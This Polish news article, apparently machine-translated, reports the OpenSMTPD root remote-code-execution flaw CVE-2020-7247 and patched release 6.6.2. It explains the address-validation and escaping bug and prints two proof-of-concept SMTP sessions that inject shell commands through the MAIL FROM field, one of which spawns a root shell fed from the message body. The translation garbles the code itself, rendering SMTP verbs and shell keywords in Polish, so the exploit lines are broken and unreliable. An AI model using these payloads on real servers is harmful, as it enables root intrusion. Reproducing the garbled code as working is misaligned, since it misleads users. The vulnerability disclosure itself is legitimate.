Luka w OpenSMTPD, która umożliwia zdalne wykonanie kodu jako root

W serwerze pocztowym opracowanym przez projekt OpenBSD OtwórzSMTPD zidentyfikowane krytyczna podatność (CVE-2020-7247), która umożliwia zdalne wykonywanie poleceń powłoki na serwerze z uprawnieniami użytkownika root. Luka została zidentyfikowana podczas ponownego audytu przeprowadzonego przez Qualys Security (poprzedni audyt OpenSMTPD było trzymane w 2015 r., a nowa luka występuje od maja 2018 r.). Problem wyłączony w wydaniu OpenSMTPD 6.6.2. Wszystkim użytkownikom zaleca się pilne zainstalowanie aktualizacji (dla OpenBSD łatkę można zainstalować przez syspatch).

Zaproponowano dwa rodzaje ataków. Pierwsza opcja działa w domyślnej konfiguracji OpenSMTPD (odbieranie żądań tylko od localhost) i pozwala wykorzystać problem lokalnie, gdy atakujący ma dostęp do lokalnego interfejsu sieciowego (loopback) na serwerze (np. na systemach hostingowych) . Druga opcja pojawia się, gdy OpenSMTPD jest skonfigurowany do akceptowania żądań sieci zewnętrznej (serwer pocztowy, który akceptuje pocztę innej firmy). Badacze przygotowali prototypowy exploit, który z powodzeniem działa zarówno z wariantem OpenSMTPD z OpenBSD 6.6, jak iz wersją przenośną dla innych systemów operacyjnych (przeprowadzone w Debian Testing).

Problem jest spowodowany błędem w funkcji smtp_mailaddr(), która jest wywoływana w celu sprawdzenia poprawności wartości w polach "MAIL FROM" i "RCPT TO" określających nadawcę/odbiorcę i przesyłanych podczas połączenia do serwera pocztowego. Funkcja smtp_mailaddr() jest wywoływana w smtp_mailaddr() w celu sprawdzenia części adresu e-mail, która znajduje się przed znakiem „@”.
valid_localpart(), która uznaje znaki „!#$%&'*/?^`{|}~+-=_” za dozwolone (MAILADDR_ALLOWED), zgodnie z wymaganiami RFC 5322.

W tym przypadku łańcuch jest bezpośrednio zmieniany w funkcji mda_expand_token(), która zastępuje tylko znaki "!#$%&'*?`{|}~" (MAILADDR_ESCAPE). Ponadto ciąg znaków przygotowany w mda_expand_token() jest używany podczas wywoływania agenta dostarczania (MDA) za pomocą polecenia „execle("/bin/sh", "/bin/sh", "-c", mda_command,…'. mail do mbox przez /bin/sh uruchamiana jest linia "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}", gdzie wartość "%{mbox.from}" zawiera dane ucieczki z parametru „MAIL FROM”.

Istota podatności polega na tym, że smtp_mailaddr() ma błąd logiczny, w wyniku którego w przypadku przekazania pustej domeny do wiadomości e-mail funkcja zwraca pomyślny kod weryfikacyjny, nawet jeśli część adresu przed „@” zawiera nieprawidłowe znaki. Ponadto, podczas przygotowywania łańcucha za pomocą funkcji mda_expand_token() nie wszystkie możliwe znaki specjalne powłoki są zmieniane, ale tylko znaki specjalne dozwolone w adresie pocztowym. Tak więc, aby uruchomić polecenie, wystarczy użyć symbolu „;” w lokalnej części wiadomości e-mail. i spacji, które nie znajdują się w zestawie MAILADDR_ESCAPE i nie są znakami ucieczki. Na przykład:

$nc 127.0.0.1 25

HELO profesorze falken
MAIL OD:<;sleep 66;>
RCPT DO:
DATA
.
QUIT

Po tej sesji OpenSMTPD po dostarczeniu do mbox uruchomi polecenie przez powłokę

/usr/libexec/mail.local -f ;sleep 66; źródło

Jednocześnie możliwości ataku są ograniczone przez fakt, że lokalna część adresu nie może przekraczać 64 znaków, a znaki specjalne „$” i „|” są zastępowane przez „:” podczas ucieczki. Aby obejść to ograniczenie, fakt, że treść wiadomości jest przesyłana po uruchomieniu /usr/libexec/mail.local przez strumień wejściowy, tj. poprzez manipulację adresem można jedynie uruchomić interpreter poleceń sh i użyć treści listu jako zestawu instrukcji. Ponieważ nagłówki usługi SMTP są określone na początku litery, zaleca się użycie polecenia read w pętli, aby je pominąć. Działający exploit wygląda mniej więcej tak:

$nc 192.168.56.143 25

HELO profesorze falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
RCPT DO:[email chroniony]>
DATA
#0
#1
...
#d
dla i w WOPR; Do
echo -n "($i) " && id || przerwa
gotowe > /root/x."`id -u`"."$$"
.
QUIT

Źródło: opennet.ru

Dodaj komentarz